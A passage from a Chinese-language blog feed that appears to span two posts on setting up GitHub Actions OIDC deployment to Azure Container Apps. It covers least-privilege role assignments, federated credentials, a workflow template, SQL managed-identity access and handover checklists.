<p class="wp-block-paragraph">以下指令只展示格式，執行前請替換所有 placeholder：</p>



<pre class="wp-block-code"><code>set -euo pipefail

SUB_ID="&lt;SUBSCRIPTION_ID&gt;"
APP_RG="rg-demoproject-stg-app"
CAE_RG="rg-demoproject-stg-cae"
CAE_NAME="cae-demoproject-stg"
ACR_NAME="acr-demoproject-stg"
SP_NAME="demoproject-team-a-staging-ci"

CAE_SCOPE="$(az containerapp env show \
  --subscription "$SUB_ID" \
  --resource-group "$CAE_RG" \
  --name "$CAE_NAME" \
  --query id -o tsv)"

ACR_SCOPE="$(az acr show \
  --subscription "$SUB_ID" \
  --resource-group "$APP_RG" \
  --name "$ACR_NAME" \
  --query id -o tsv)"

APP_ID="$(az ad app create \
  --display-name "$SP_NAME" \
  --query appId -o tsv)"

SP_OBJECT_ID="$(az ad sp create \
  --id "$APP_ID" \
  --query id -o tsv)"

az role assignment create \
  --subscription "$SUB_ID" \
  --assignee-object-id "$SP_OBJECT_ID" \
  --assignee-principal-type ServicePrincipal \
  --role "AcrPush" \
  --scope "$ACR_SCOPE"

az role assignment create \
  --subscription "$SUB_ID" \
  --assignee-object-id "$SP_OBJECT_ID" \
  --assignee-principal-type ServicePrincipal \
  --role "Reader" \
  --scope "$CAE_SCOPE"

az role assignment create \
  --subscription "$SUB_ID" \
  --assignee-object-id "$SP_OBJECT_ID" \
  --assignee-principal-type ServicePrincipal \
  --role "Container Apps Environment Joiner" \
  --scope "$CAE_SCOPE"
</code></pre>



<p class="wp-block-paragraph">若 CI 只更新既有 App，建議把寫入權限限制在 App resource scope：</p>



<pre class="wp-block-code"><code>BACKEND_SCOPE="$(az containerapp show \
  --subscription "$SUB_ID" \
  --resource-group "$APP_RG" \
  --name "ca-demoproject-backend-stg" \
  --query id -o tsv)"

az role assignment create \
  --subscription "$SUB_ID" \
  --assignee-object-id "$SP_OBJECT_ID" \
  --assignee-principal-type ServicePrincipal \
  --role "Contributor" \
  --scope "$BACKEND_SCOPE"
</code></pre>



<p class="wp-block-paragraph">不要把 CI identity 授予：</p>



<pre class="wp-block-code"><code>rg-demoproject-stg-data
rg-demoproject-stg-cae 的 Contributor
demoproject-dev 的 SQL roles
</code></pre>



<h3 class="wp-block-heading">5.4 Federated Credential</h3>



<h4 class="wp-block-heading">方案 A：只允許 main branch</h4>



<p class="wp-block-paragraph">適合單一 staging deploy workflow：</p>



<pre class="wp-block-code"><code>REPO="ExampleOrg/demoproject-backend"
SAFE_NAME="${REPO//\//-}-main"
SUBJECT="repo:${REPO}:ref:refs/heads/main"

PAYLOAD="$(jq -n \
  --arg name "$SAFE_NAME" \
  --arg subject "$SUBJECT" \
  '{
    name: $name,
    issuer: "https://token.actions.githubusercontent.com",
    subject: $subject,
    audiences: &#91;"api://AzureADTokenExchange"]
  }')"

az ad app federated-credential create \
  --id "$APP_ID" \
  --parameters "$PAYLOAD"
</code></pre>



<h4 class="wp-block-heading">方案 B：使用受保護的 GitHub Environment</h4>



<p class="wp-block-paragraph">新團隊建議建立 GitHub Environment&nbsp;<code>staging</code>，設定：</p>



<ul class="wp-block-list">
<li>Required reviewers。</li>



<li>只允許 <code>main</code> branch 或指定 tag。</li>



<li>將 Azure identifiers 放在 Environment variables。</li>
</ul>



<p class="wp-block-paragraph">Federated Credential 的 subject 改為：</p>



<pre class="wp-block-code"><code>repo:ExampleOrg/demoproject-backend:environment:staging
</code></pre>



<p class="wp-block-paragraph">Workflow 的 deploy job 必須包含：</p>



<pre class="wp-block-code"><code>environment: staging
</code></pre>



<p class="wp-block-paragraph">Branch subject 與 Environment subject 不要混用。Azure 會比對完整的&nbsp;<code>sub</code>&nbsp;claim，字串不完全相同就會登入失敗。</p>



<h4 class="wp-block-heading">PR 不可取得 write token</h4>



<p class="wp-block-paragraph">以下 subject 不可綁定到具有&nbsp;<code>Contributor</code>、<code>AcrPush</code>&nbsp;或 App write 的 identity：</p>



<pre class="wp-block-code"><code>repo:ExampleOrg/demoproject-backend:pull_request
</code></pre>



<p class="wp-block-paragraph">PR 程式碼尚未審核，可能修改 workflow 並呼叫 Azure CLI。PR workflow 應只 執行 lint、test、build；若真的需要查詢 Azure，另建只有&nbsp;<code>Reader</code>&nbsp;的 identity。</p>



<h2 class="wp-block-heading">6. GitHub Actions Workflow 範本</h2>



<p class="wp-block-paragraph">以下範例使用受保護的&nbsp;<code>staging</code>&nbsp;Environment。若使用 main branch subject， 請移除&nbsp;<code>environment: staging</code>，或先建立相符的 Environment Federated Credential。</p>



<pre class="wp-block-code"><code>name: Deploy DemoProject Backend

on:
  push:
    branches:
      - main

permissions:
  contents: read
  id-token: write

jobs:
  deploy:
    runs-on: ubuntu-latest
    environment: staging
    steps:
      - name: Checkout
        uses: actions/checkout@v4

      - name: Login to Azure with OIDC
        uses: azure/login@v2
        with:
          client-id: ${{ vars.AZURE_CLIENT_ID }}
          tenant-id: ${{ vars.AZURE_TENANT_ID }}
          subscription-id: ${{ vars.AZURE_SUBSCRIPTION_ID }}

      - name: Login to ACR
        run: az acr login --name acr-demoproject-stg

      - name: Build and push image
        env:
          IMAGE: acr-demoproject-stg.azurecr.io/demoproject-backend:${{ github.sha }}
        run: |
          docker build -t "$IMAGE" .
          docker push "$IMAGE"

      - name: Update existing Container App
        env:
          IMAGE: acr-demoproject-stg.azurecr.io/demoproject-backend:${{ github.sha }}
        run: |
          az containerapp update \
            --resource-group rg-demoproject-stg-app \
            --name ca-demoproject-backend-stg \
            --image "$IMAGE"
</code></pre>



<p class="wp-block-paragraph">Frontend 只需要替換 image repository 與 Container App name。</p>



<h3 class="wp-block-heading">6.1 PR Workflow</h3>



<p class="wp-block-paragraph">PR workflow 不應取得 Azure write token：</p>



<pre class="wp-block-code"><code>on:
  pull_request:
    branches:
      - main

permissions:
  contents: read
</code></pre>



<p class="wp-block-paragraph">PR 可執行 lint、unit test、build 或不涉及 Staging 的 container build， 但不要：</p>



<ul class="wp-block-list">
<li><code>id-token: write</code>。</li>



<li><code>azure/login</code>。</li>



<li>Push Staging ACR。</li>



<li>Update 或 delete Container App。</li>
</ul>



<h3 class="wp-block-heading">6.2 不要在 CI 執行完整部署腳本</h3>



<p class="wp-block-paragraph">完整部署腳本通常會包含 secrets、Key Vault policy、Managed Identity、 SQL 授權與首次建立資源的流程，不適合直接放進 GitHub Actions。</p>



<p class="wp-block-paragraph">CI 建議只做：</p>



<pre class="wp-block-code"><code>OIDC login
  -&gt; docker build
  -&gt; ACR push
  -&gt; containerapp update --image
</code></pre>



<p class="wp-block-paragraph">既有的環境變數與 secrets 由平台管理者預先設定；App runtime 使用自己的 Managed Identity 連接 SQL 與 Key Vault。</p>



<h2 class="wp-block-heading">7. SQL Database 與 Managed Identity</h2>



<h3 class="wp-block-heading">7.1 App runtime 才需要 SQL role</h3>



<p class="wp-block-paragraph">查詢 Backend App 的 Managed Identity：</p>



<pre class="wp-block-code"><code>az containerapp show \
  --subscription "&lt;SUBSCRIPTION_ID&gt;" \
  --resource-group "rg-demoproject-stg-app" \
  --name "ca-demoproject-backend-stg" \
  --query "{type:identity.type,principalId:identity.principalId}" \
  -o json
</code></pre>



<p class="wp-block-paragraph">如果 Container App 被刪除後重新建立，system-assigned identity 可能改變。 管理者需要重新確認 ACR、Key Vault 與 SQL 權限。</p>



<h3 class="wp-block-heading">7.2 建立 SQL contained user</h3>



<p class="wp-block-paragraph">以下 SQL 應由 SQL Entra administrator 或等效資料庫管理員，在&nbsp;<code>demoproject-dev</code>&nbsp;執行。將 App name 替換成實際值：</p>



<pre class="wp-block-code"><code>IF DATABASE_PRINCIPAL_ID(N'ca-demoproject-backend-stg') IS NULL
BEGIN
    CREATE USER &#91;ca-demoproject-backend-stg] FROM EXTERNAL PROVIDER;
END;

ALTER ROLE &#91;db_datareader]
ADD MEMBER &#91;ca-demoproject-backend-stg];

ALTER ROLE &#91;db_datawriter]
ADD MEMBER &#91;ca-demoproject-backend-stg];

<em>-- 只有 Backend migration 確實需要時才授予</em>
ALTER ROLE &#91;db_ddladmin]
ADD MEMBER &#91;ca-demoproject-backend-stg];
</code></pre>



<p class="wp-block-paragraph">CI Service Principal 不需要執行這段 SQL，也不應被加入這三個 database roles。</p>



<h3 class="wp-block-heading">7.3 人員需要直接查詢資料庫</h3>



<p class="wp-block-paragraph">不要把 Azure&nbsp;<code>Contributor</code>&nbsp;當成 SQL data access。若確實需要讓人員直接 查詢：</p>



<ol class="wp-block-list">
<li>管理者建立 Microsoft Entra security group。</li>



<li>將需要查詢的人員加入該群組。</li>



<li>在 <code>demoproject-dev</code> 建立該群組的 contained user。</li>



<li>優先只授予 <code>db_datareader</code>。</li>



<li>確認使用者有 VNet、VPN 或其他 Private Endpoint 網路路徑。</li>
</ol>



<h2 class="wp-block-heading">8. Private Endpoint 與 SQL Firewall</h2>



<h3 class="wp-block-heading">8.1 為什麼不能只新增一個 IP？</h3>



<p class="wp-block-paragraph">獨立的 Container Apps Environment 可能使用公網出口 IP，而且出口 IP 可能有很多個或因環境變更而改變。錯誤訊息中的 IP 只代表當次連線， 不一定是永久 IP。</p>



<p class="wp-block-paragraph">使用共用 CAE 時，應該走：</p>



<pre class="wp-block-code"><code>Container App
  -&gt; VNet
  -&gt; Private DNS
  -&gt; SQL Private Endpoint
  -&gt; SQL Database
</code></pre>



<p class="wp-block-paragraph">不要用大量公網 IP firewall 規則取代正確的網路拓撲，也不要未經核准就 建立：</p>



<pre class="wp-block-code"><code>start-ip-address = 0.0.0.0
end-ip-address   = 0.0.0.0
</code></pre>



<p class="wp-block-paragraph">這代表允許大範圍 Azure services 存取，不是只允許本團隊。</p>



<h3 class="wp-block-heading">8.2 確認 App 使用正確 CAE</h3>



<pre class="wp-block-code"><code>$expected = "/subscriptions/&lt;SUBSCRIPTION_ID&gt;/resourceGroups/rg-demoproject-stg-cae/providers/Microsoft.App/managedEnvironments/cae-demoproject-stg"

az containerapp show `
  --name ca-demoproject-backend-stg `
  --resource-group rg-demoproject-stg-app `
  --query properties.managedEnvironmentId `
  -o tsv

$expected
</code></pre>



<p class="wp-block-paragraph">兩個輸出必須相同。如果 App 位於沒有 VNet/private DNS 的 CAE，先請平台 管理者確認網路路徑，不要先修改 SQL firewall。</p>



<h3 class="wp-block-heading">8.3 常見錯誤</h3>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th class="has-text-align-left" data-align="left">錯誤</th><th class="has-text-align-left" data-align="left">常見原因</th><th class="has-text-align-left" data-align="left">正確處理</th></tr></thead><tbody><tr><td><code>Client with IP address ... is not allowed</code></td><td>App 走公網，SQL firewall 沒放行</td><td>確認 App 是否位於共用 VNet CAE</td></tr><tr><td><code>Login failed</code></td><td>App identity 未建立或沒有 SQL role</td><td>查 App principal ID，由 DB 管理者處理</td></tr><tr><td><code>Cannot resolve host</code></td><td>Private DNS 或 VNet 路徑錯誤</td><td>檢查 PE、DNS zone link、CAE subnet</td></tr><tr><td><code>AuthorizationFailed</code></td><td>CI identity 缺少對應 scope 的 role</td><td>由平台管理者補上 App、ACR 或 CAE role</td></tr></tbody></table></figure>



<h2 class="wp-block-heading">9. 部署後驗證</h2>



<h3 class="wp-block-heading">9.1 查看 App 所在 CAE 與 revision</h3>



<pre class="wp-block-code"><code>az containerapp show `
  --name ca-demoproject-backend-stg `
  --resource-group rg-demoproject-stg-app `
  --query "{environment:properties.managedEnvironmentId,latest:properties.latestRevisionName,ready:properties.latestReadyRevisionName}" `
  -o table
</code></pre>



<pre class="wp-block-code"><code>az containerapp revision list `
  --name ca-demoproject-backend-stg `
  --resource-group rg-demoproject-stg-app `
  --query "&#91;].{name:name,health:properties.healthState,running:properties.runningState,traffic:properties.trafficWeight}" `
  -o table
</code></pre>



<h3 class="wp-block-heading">9.2 查看 logs</h3>



<pre class="wp-block-code"><code>az containerapp logs show `
  --name ca-demoproject-backend-stg `
  --resource-group rg-demoproject-stg-app `
  --type console `
  --tail 100
</code></pre>



<h3 class="wp-block-heading">9.3 驗證 CI 身分</h3>



<pre class="wp-block-code"><code>az ad app federated-credential list \
  --id "$APP_ID" \
  --query "&#91;].{name:name,subject:subject,issuer:issuer,audiences:audiences}" \
  -o table
</code></pre>



<pre class="wp-block-code"><code>az role assignment list \
  --assignee-object-id "$SP_OBJECT_ID" \
  --all \
  --query "&#91;].{role:roleDefinitionName,scope:scope}" \
  -o table
</code></pre>



<p class="wp-block-paragraph">應確認：</p>



<ul class="wp-block-list">
<li>issuer 是 <code>https://token.actions.githubusercontent.com</code>。</li>



<li>audience 是 <code>api://AzureADTokenExchange</code>。</li>



<li>subject 只有指定 repo 與指定 main/environment。</li>



<li>沒有 write identity 的 <code>pull_request</code> subject。</li>



<li>沒有 SQL Resource Group 或共用 CAE Resource Group 的 <code>Contributor</code>。</li>
</ul>



<h2 class="wp-block-heading">10. 首次 bootstrap 與日常部署</h2>



<h3 class="wp-block-heading">10.1 首次 bootstrap</h3>



<p class="wp-block-paragraph">以下工作由平台管理者完成一次：</p>



<ul class="wp-block-list">
<li>建立 ACR、CAE、Container App 或確認資源已存在。</li>



<li>建立 App Registration、Service Principal 與 Federated Credentials。</li>



<li>授予 CI 的 ACR/App/CAE 角色。</li>



<li>啟用 App system-assigned Managed Identity。</li>



<li>授予 App identity <code>AcrPull</code>、Key Vault <code>get/list</code> 與 SQL roles。</li>



<li>設定 Private Endpoint、Private DNS、custom domain 與憑證。</li>
</ul>



<p class="wp-block-paragraph">如果共用 CAE 暫時不存在，不要讓腳本建立沒有 VNet/private endpoint 的替代 環境；應停止流程並通知平台管理者。</p>



<h3 class="wp-block-heading">10.2 日常部署</h3>



<p class="wp-block-paragraph">日常 CI 只需：</p>



<pre class="wp-block-code"><code>main push
  -&gt; GitHub OIDC login
  -&gt; build image
  -&gt; push ACR
  -&gt; update existing Container App
  -&gt; check revision and logs
</code></pre>



<p class="wp-block-paragraph">如果 App 被刪除並重新建立，請重新取得 identity，重新處理 ACR、Key Vault 與 SQL 授權。</p>



<h2 class="wp-block-heading">11. 撤權與團隊交接</h2>



<h3 class="wp-block-heading">11.1 移除某個 repository 的信任</h3>



<pre class="wp-block-code"><code>az ad app federated-credential list \
  --id "$APP_ID" \
  --query "&#91;].{id:id,name:name,subject:subject}" \
  -o table
</code></pre>



<pre class="wp-block-code"><code>az ad app federated-credential delete \
  --id "$APP_ID" \
  --federated-credential-id "&lt;FEDERATED_CREDENTIAL_ID&gt;"
</code></pre>



<h3 class="wp-block-heading">11.2 移除 Azure role</h3>



<pre class="wp-block-code"><code>az role assignment delete \
  --assignee-object-id "$SP_OBJECT_ID" \
  --role "AcrPush" \
  --scope "$ACR_SCOPE"
</code></pre>



<p class="wp-block-paragraph">團隊撤換時同時確認：</p>



<ol class="wp-block-list">
<li>GitHub Environment/repository variables 已移除。</li>



<li>該 repository 的 Federated Credentials 已刪除。</li>



<li>App、ACR、CAE scope 的 role assignments 已移除。</li>



<li>Container App runtime Managed Identity 沒有被誤刪。</li>



<li>Audit log 與變更紀錄已保存。</li>
</ol>



<h2 class="wp-block-heading">12. 新團隊開通檢查表</h2>



<h3 class="wp-block-heading">平台管理者</h3>



<ul class="wp-block-list">
<li>[ ] 所有資源名稱、Subscription、tenant 與 repo 已確認。</li>



<li>[ ] 每個團隊建立獨立 Service Principal。</li>



<li>[ ] 只建立 main 或受保護 Environment 的 Federated Credential。</li>



<li>[ ] 沒有建立 write identity 的 <code>pull_request</code> credential。</li>



<li>[ ] ACR scope 有 <code>AcrPush</code>。</li>



<li>[ ] 既有 App scope 有更新權限。</li>



<li>[ ] 共用 CAE scope 有 <code>Reader</code> + <code>Container Apps Environment Joiner</code>。</li>



<li>[ ] 沒有授予 SQL Resource Group 或共用 CAE Resource Group Contributor。</li>



<li>[ ] App runtime Managed Identity 有 SQL、Key Vault、ACR 權限。</li>



<li>[ ] GitHub Environment 的 reviewers 與 branch restriction 已設定。</li>
</ul>



<h3 class="wp-block-heading">開發團隊</h3>



<ul class="wp-block-list">
<li>[ ] Workflow 有 <code>permissions: id-token: write</code>。</li>



<li>[ ] <code>environment</code> 或 branch subject 與 Azure FIC 完全一致。</li>



<li>[ ] 使用 <code>azure/login@v2</code>，沒有 client secret。</li>



<li>[ ] Docker image 使用不可變的 commit SHA tag。</li>



<li>[ ] Push 到正確 ACR repository。</li>



<li>[ ] 只更新指定 Container App。</li>



<li>[ ] PR workflow 沒有 Azure write token。</li>



<li>[ ] 部署後確認 revision、logs 與功能。</li>
</ul>



<h2 class="wp-block-heading">13. 示範值替換清單</h2>



<p class="wp-block-paragraph">正式使用前，至少替換以下項目：</p>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th class="has-text-align-left" data-align="left">示範值</th><th class="has-text-align-left" data-align="left">正式值</th></tr></thead><tbody><tr><td><code>DemoProject</code>&nbsp;/&nbsp;<code>demoproject</code></td><td>正式專案名稱</td></tr><tr><td><code>ExampleOrg</code></td><td>GitHub organization</td></tr><tr><td><code>&lt;SUBSCRIPTION_ID&gt;</code></td><td>正式 Subscription ID</td></tr><tr><td><code>&lt;TENANT_ID&gt;</code></td><td>正式 Entra tenant ID</td></tr><tr><td><code>rg-demoproject-*</code></td><td>正式 Resource Groups</td></tr><tr><td><code>acr-demoproject-stg</code></td><td>正式 ACR</td></tr><tr><td><code>cae-demoproject-stg</code></td><td>正式 CAE</td></tr><tr><td><code>ca-demoproject-*-stg</code></td><td>正式 Container Apps</td></tr><tr><td><code>sql-demoproject-stg.database.windows.net</code></td><td>正式 SQL hostname</td></tr><tr><td><code>demoproject-dev</code></td><td>正式 Database</td></tr><tr><td><code>C:\work\demoproject-staging</code></td><td>團隊實際工作目錄</td></tr><tr><td><code>ExampleOrg/demoproject-*</code></td><td>正式 repositories</td></tr></tbody></table></figure>



<p class="wp-block-paragraph">替換後請再次搜尋以下字串，確認沒有殘留示範 placeholder 或錯誤環境：</p>



<pre class="wp-block-code"><code>&lt;SUBSCRIPTION_ID&gt;
&lt;TENANT_ID&gt;
ExampleOrg
demoproject
</code></pre>



<h2 class="wp-block-heading">14. 安全規則</h2>



<ol class="wp-block-list">
<li>不要把 client secret、SQL password、JWT secret 或 storage connection string commit 到 Git。</li>



<li>不要把 secrets 貼到 PR、Issue、聊天工具或 deployment log。</li>



<li>不要為了快速測試把 SQL firewall 設成 <code>0.0.0.0 - 0.0.0.0</code>。</li>



<li>不要把 SQL Resource Group 的 Contributor 當成 SQL data access。</li>



<li>不要把 write-capable Azure identity 授予 <code>pull_request</code>。</li>



<li>不要自行刪除共用 CAE、Private Endpoint、Private DNS 或 SQL Server。</li>



<li>遇到錯誤時，先記錄 repository、workflow run、revision 與錯誤時間， 再請平台管理者檢查權限與網路。</li>
</ol>



<h2 class="wp-block-heading">15. 官方參考文件</h2>



<ul class="wp-block-list">
<li>GitHub OIDC on Azure： <a href="https://docs.github.com/en/actions/how-tos/secure-your-work/security-harden-deployments/oidc-in-azure">https://docs.github.com/en/actions/how-tos/secure-your-work/security-harden-deployments/oidc-in-azure</a></li>



<li>GitHub OIDC subject reference： <a href="https://docs.github.com/en/actions/reference/security/oidc">https://docs.github.com/en/actions/reference/security/oidc</a></li>



<li>Azure Login with OIDC： <a href="https://learn.microsoft.com/en-us/azure/developer/github/connect-from-azure-openid-connect">https://learn.microsoft.com/en-us/azure/developer/github/connect-from-azure-openid-connect</a></li>



<li>Azure Container Apps with GitHub Actions： <a href="https://learn.microsoft.com/en-us/azure/container-apps/github-actions">https://learn.microsoft.com/en-us/azure/container-apps/github-actions</a></li>
</ul>
]]></content:encoded>
					
					<wfw:commentRss>https://stackoverflow.max-everyday.com/2026/09/azure-container-apps-github-oidc/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>GitHub Actions OIDC CI/CD 交接指南</title>
		<link>https://stackoverflow.max-everyday.com/2026/09/azure-github-actions-oidc-ci-cd/</link>
					<comments>https://stackoverflow.max-everyday.com/2026/09/azure-github-actions-oidc-ci-cd/#respond</comments>
		
		<dc:creator><![CDATA[max-stackoverflow]]></dc:creator>
		<pubDate>Sun, 13 Sep 2026 03:36:48 +0000</pubDate>
				<category><![CDATA[Azure 筆記]]></category>
		<category><![CDATA[azure]]></category>
		<guid isPermaLink="false">https://stackoverflow.max-everyday.com/?p=8754</guid>

					<description><![CDATA[本文件說明未來新的開發團隊如何在沒有 Azure...]]></description>
										<content:encoded><![CDATA[
<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="572" src="https://stackoverflow.max-everyday.com/wp-content/uploads/2026/09/watermarked_img_14242048425730948964_clean-1024x572.jpg?v=1789270594" alt="" class="wp-image-8755" srcset="https://stackoverflow.max-everyday.com/wp-content/uploads/2026/09/watermarked_img_14242048425730948964_clean-1024x572.jpg?v=1789270594 1024w, https://stackoverflow.max-everyday.com/wp-content/uploads/2026/09/watermarked_img_14242048425730948964_clean-600x335.jpg?v=1789270594 600w, https://stackoverflow.max-everyday.com/wp-content/uploads/2026/09/watermarked_img_14242048425730948964_clean-767x428.jpg?v=1789270594 767w, https://stackoverflow.max-everyday.com/wp-content/uploads/2026/09/watermarked_img_14242048425730948964_clean.jpg?v=1789270594 1376w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p class="wp-block-paragraph">本文件說明未來新的開發團隊如何在沒有 Azure Owner role 的情況下，使用 GitHub Actions 將 Backend 或 Frontend 部署到專案 Staging。</p>



<p class="wp-block-paragraph">文件目標是讓接手環境管理工作的同仁能快速回答以下問題：</p>



<ul class="wp-block-list">
<li>為什麼不需要把 Azure client secret 放進 GitHub？</li>



<li>哪些工作必須由平台管理者做一次？</li>



<li>開發團隊需要哪些最小 Azure 權限？</li>



<li>GitHub OIDC、Service Principal、Federated Credential、ACR 與 Container Apps 之間如何串接？</li>



<li>為什麼 PR 不可以直接取得可寫入 Staging 的 Azure token？</li>



<li>SQL 權限應該給誰？</li>
</ul>



<p class="wp-block-paragraph">適用環境</p>



<p class="wp-block-paragraph">本文件適用目前的專案 Staging：</p>



<ul class="wp-block-list">
<li>Subscription： DEMO-PoC</li>



<li>App/ACR Resource Group： rg-demo-stg-jpe-001</li>



<li>共用 Container Apps Environment： cae-stg-jpe-001</li>



<li>ACR： acrdemostgjpe001.azurecr.io</li>



<li>SQL Server： sql-stg-jpe-001.database.windows.net</li>



<li>SQL Database： demoproject-dev</li>
</ul>



<p class="wp-block-paragraph">重要</p>



<p class="wp-block-paragraph">目前的 CI 身分由環境管理者建立，開發團隊只負責維護 GitHub Actions。不要要求開發團隊取得 Owner，也不要把 SQL Resource Group 的 Contributor 給開發團隊。</p>



<ol start="1" class="wp-block-list">
<li>先看整體流程</li>
</ol>



<pre class="wp-block-code"><code>GitHub push to main
        |
        | GitHub 發出短期 OIDC token
        v
GitHub Actions
        |
        | azure/login@v2
        v
Microsoft Entra App / Service Principal
        |
        | Federated Credential 比對 repo + branch/environment
        | Azure RBAC 比對允許的 scope
        v
Azure Container Registry (AcrPush)
        |
        | push Docker image
        v
Azure Container App
        |
        | 使用 App 自己的 Managed Identity
        v
SQL Private Endpoint -> demoproject-dev</code></pre>



<p class="wp-block-paragraph"></p>



<p class="wp-block-paragraph">這裡有兩個不同的身分，聲明如下：</p>



<ul class="wp-block-list">
<li>GitHub Actions Service Principal：用途為 Build、push Image、更新 Container App。是否應有 SQL data access：否。</li>



<li>Backend Container App Managed Identity：用途為執行中的 Backend 連接 SQL、ACR、Key Vault。是否應有 SQL data access：是，僅限該 App。</li>
</ul>



<p class="wp-block-paragraph">GitHub Actions 的 OIDC Service Principal 只負責部署。它不應該被加入 demoproject-dev 的 SQL roles，也不應該讀取應用程式 secrets。</p>



<ol start="2" class="wp-block-list">
<li>為什麼使用 OIDC</li>
</ol>



<p class="wp-block-paragraph">傳統做法是把 AZURE_CLIENT_SECRET 存在 GitHub Actions Secret。這會產生長期憑證管理問題：</p>



<ul class="wp-block-list">
<li>secret 可能被誤印到 log。</li>



<li>secret 可能忘記輪替。</li>



<li>離職或團隊更換時，需要追查 secret 被放在哪裡。</li>
</ul>



<p class="wp-block-paragraph">OIDC 的做法是：</p>



<ol start="1" class="wp-block-list">
<li>GitHub Actions 向 GitHub OIDC provider 取得短期 token。</li>



<li>Azure 驗證 token 的 issuer、subject 與 audience。</li>



<li>只有符合 Federated Credential 條件的 workflow 才能換取 Azure access token。</li>



<li>Azure RBAC 再決定這個 Service Principal 可以操作哪些資源。</li>
</ol>



<p class="wp-block-paragraph">因此 OIDC 不等於「自動擁有 Azure 權限」：</p>



<ul class="wp-block-list">
<li>Federated Credential：決定「哪個 GitHub workflow 可以登入」。</li>



<li>Azure RBAC：決定「登入後可以做什麼」。</li>
</ul>



<ol start="3" class="wp-block-list">
<li>本次已建立的 CI 身分</li>
</ol>



<p class="wp-block-paragraph">本次已建立以下 CI Service Principal：</p>



<p class="wp-block-paragraph">Display name: demoproject-staging-ci</p>



<p class="wp-block-paragraph">Client ID: 188a7d0a-30d5-4a0d-9b04-3e118d3d46e7</p>



<p class="wp-block-paragraph">Object ID: 33ec7c42-e5b5-443c-aae5-e97e1e056d10</p>



<p class="wp-block-paragraph">Tenant ID: 7ef65350-5b77-4958-aca5-0ccadb6bd0b7</p>



<p class="wp-block-paragraph">沒有建立 client secret。</p>



<p class="wp-block-paragraph">3.1 目前已授予的角色</p>



<ul class="wp-block-list">
<li>Scope: rg-demo-stg-jpe-001 | Role: Contributor | 目的: 目前 CI 更新 App/ACR 的過渡權限</li>



<li>Scope: acrdemostgjpe001 | Role: AcrPush | 目的: 允許 Docker push 到 ACR</li>



<li>Scope: cae-stg-jpe-001 | Role: Reader | 目的: 讀取共用 CAE 設定</li>



<li>Scope: cae-stg-jpe-001 | Role: Container Apps Environment Joiner | 目的: 允許使用共用 CAE；只有 Microsoft.App/managedEnvironments/join/action</li>
</ul>



<p class="wp-block-paragraph">目前沒有授予：</p>



<ul class="wp-block-list">
<li>rg-cae-stg-jpe-001 的 Contributor。</li>



<li>rg-data-stg-jpe-001 的任何角色。</li>



<li>demoproject-dev 的 SQL role。</li>



<li>Key Vault data-plane secrets 讀取權限。</li>
</ul>



<p class="wp-block-paragraph">rg-demo-stg-jpe-001 的 Contributor 是為了讓現有流程先能運作的過渡方案。未來新增團隊時，建議改成各 App resource scope 的 Contributor 或專用 custom role，不要複製成每個團隊都能管理整個 RG。</p>



<p class="wp-block-paragraph">3.2 目前已信任的 GitHub repositories</p>



<p class="wp-block-paragraph">目前只建立以下兩個 main branch Federated Credentials：</p>



<p class="wp-block-paragraph">repo:NYCUITSC/demoproject-backend:ref:refs/heads/main</p>



<p class="wp-block-paragraph">repo:NYCUITSC/demoproject-frontend:ref:refs/heads/main</p>



<p class="wp-block-paragraph">刻意沒有建立：</p>



<ul class="wp-block-list">
<li>pull_request credential。</li>



<li>NYCUITSC/demoproject-api credential。</li>
</ul>



<p class="wp-block-paragraph">demoproject-api 目前是 Frontend 用來產生 SDK 的 dependency，不是 Azure deployment repository。除非它未來真的擁有部署 job，否則不要給它 Azure write identity。</p>



<ol start="4" class="wp-block-list">
<li>新團隊的責任分工</li>
</ol>



<p class="wp-block-paragraph">4.1 平台/環境管理者做一次</p>



<p class="wp-block-paragraph">平台管理者需要：</p>



<ol start="1" class="wp-block-list">
<li>建立該團隊專用的 App Registration 與 Service Principal。</li>



<li>建立只允許指定 repo、branch 或 GitHub Environment 的 Federated Credentials。</li>



<li>在正確的 ACR scope 授予 AcrPush。</li>



<li>在指定 Container App scope 授予更新權限。</li>



<li>在共用 CAE 授予 Reader 與 Container Apps Environment Joiner。</li>



<li>確認 Container App 的 Managed Identity 已具備 ACR、Key Vault 與 SQL 權限。</li>



<li>確認 App 位於正確的共用 CAE，而不是沒有 VNet/private DNS 的獨立 CAE。</li>



<li>將 Client ID、Tenant ID、Subscription ID 提供給團隊設定 GitHub Variables。</li>
</ol>



<p class="wp-block-paragraph">4.2 開發團隊負責</p>



<p class="wp-block-paragraph">開發團隊只需要：</p>



<ol start="1" class="wp-block-list">
<li>維護 GitHub Actions workflow。</li>



<li>在 main 或受保護的 staging Environment 執行 deploy。</li>



<li>Build Docker image。</li>



<li>Push image 到 ACR。</li>



<li>更新既有 Container App 的 image。</li>



<li>查看 revision 與 logs。</li>
</ol>



<p class="wp-block-paragraph">開發團隊不應該：</p>



<ul class="wp-block-list">
<li>建立或刪除 Service Principal。</li>



<li>修改 SQL firewall、Private Endpoint 或 Private DNS。</li>



<li>將 App secret 寫進 GitHub workflow。</li>



<li>執行 SQL CREATE USER。</li>



<li>修改共用 CAE 的 VNet 設定。</li>
</ul>



<ol start="5" class="wp-block-list">
<li>未來新增團隊的標準開通流程</li>
</ol>



<p class="wp-block-paragraph">以下流程由平台管理者執行。每個團隊建議有自己的 Service Principal，不要讓所有團隊共用一個可寫入 Staging 的 identity。</p>



<p class="wp-block-paragraph">5.1 設定資源變數</p>



<p class="wp-block-paragraph">以下是目前資源的範例。新增團隊時，App name 與 repo 名稱應換成新團隊實際值。</p>



<p class="wp-block-paragraph">set -euo pipefail</p>



<p class="wp-block-paragraph">SUB_ID=&#8221;56b72537-d985-4530-88f3-b6ed07e71c67&#8243;</p>



<p class="wp-block-paragraph">APP_RG=&#8221;rg-demo-stg-jpe-001&#8243;</p>



<p class="wp-block-paragraph">CAE_RG=&#8221;rg-cae-stg-jpe-001&#8243;</p>



<p class="wp-block-paragraph">CAE_NAME=&#8221;cae-stg-jpe-001&#8243;</p>



<p class="wp-block-paragraph">ACR_RG=&#8221;rg-demo-stg-jpe-001&#8243;</p>



<p class="wp-block-paragraph">ACR_NAME=&#8221;acrdemostgjpe001&#8243;</p>



<h1 class="wp-block-heading">每個團隊使用不同名稱，例如：</h1>



